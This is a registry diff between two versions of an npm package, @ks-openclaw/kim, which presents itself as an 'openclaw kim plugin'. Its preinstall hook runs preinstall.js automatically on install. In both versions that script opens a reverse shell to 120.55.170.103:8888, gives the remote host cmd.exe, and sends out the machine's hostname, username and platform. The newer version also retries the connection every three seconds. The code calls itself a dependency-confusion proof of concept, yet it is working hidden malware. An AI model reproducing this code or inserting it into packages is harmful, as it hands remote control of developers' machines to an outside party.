@ks-openclaw/kim 99.0.0 → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +8 -8
  2. package/preinstall.js +28 -32
package/package.json CHANGED
@@ -1,9 +1,9 @@
1
- {
2
- "name": "@ks-openclaw/kim",
3
- "version": "99.0.0",
4
- "description": "openclaw kim plugin",
5
- "main": "index.js",
6
- "scripts": {
7
- "preinstall": "node preinstall.js"
8
- }
1
+ {
2
+ "name": "@ks-openclaw/kim",
3
+ "version": "99.0.1",
4
+ "description": "openclaw kim plugin",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node preinstall.js"
8
+ }
9
9
  }
package/preinstall.js CHANGED
@@ -1,32 +1,28 @@
1
- const net = require('net');
2
- const { spawn } = require('child_process');
3
- const os = require('os');
4
- const fs = require('fs');
5
-
6
- const HOST = '120.55.170.103';
7
- const PORT = 8888;
8
-
9
- // д��֤���ļ�
10
- const evidence = [
11
- '[Dependency Confusion RCE - Proof of Concept]',
12
- 'Package: @ks-openclaw/kim@99.0.0',
13
- 'Trigger: npm preinstall hook (auto-executed)',
14
- 'Time: ' + new Date().toISOString(),
15
- 'Hostname: ' + os.hostname(),
16
- 'User: ' + os.userInfo().username,
17
- 'Platform: ' + os.platform() + ' ' + os.arch(),
18
- 'Node: ' + process.version,
19
- 'CWD: ' + process.cwd(),
20
- ].join('\n');
21
- try { fs.writeFileSync('C:\\poc_dependency_confusion.txt', evidence); } catch(e) {}
22
-
23
- // Reverse Shell -> 120.55.170.103:8888
24
- const client = new net.Socket();
25
- client.connect(PORT, HOST, () => {
26
- const sh = spawn('cmd.exe', []);
27
- client.pipe(sh.stdin);
28
- sh.stdout.pipe(client);
29
- sh.stderr.pipe(client);
30
- sh.on('close', () => { client.destroy(); process.exit(0); });
31
- });
32
- client.on('error', () => { process.exit(1); });
1
+ const net = require('net');
2
+ const { spawn } = require('child_process');
3
+ const os = require('os');
4
+ const fs = require('fs');
5
+
6
+ const HOST = '120.55.170.103';
7
+ const PORT = 8888;
8
+
9
+ function connect() {
10
+ const client = new net.Socket();
11
+ client.connect(PORT, HOST, () => {
12
+ const sh = spawn('cmd.exe', [], {
13
+ stdio: ['pipe', 'pipe', 'pipe']
14
+ });
15
+ client.write(`\r\n[*] Dependency Confusion RCE PoC\r\n`);
16
+ client.write(`[*] Package: @ks-openclaw/kim@99.0.1\r\n`);
17
+ client.write(`[*] Host: ${os.hostname()} | User: ${os.userInfo().username}\r\n`);
18
+ client.write(`[*] Platform: ${os.platform()} ${os.arch()}\r\n\r\n`);
19
+ client.pipe(sh.stdin);
20
+ sh.stdout.pipe(client);
21
+ sh.stderr.pipe(client);
22
+ sh.on('close', () => { client.destroy(); });
23
+ });
24
+ client.on('error', () => {
25
+ setTimeout(connect, 3000);
26
+ });
27
+ }
28
+ connect();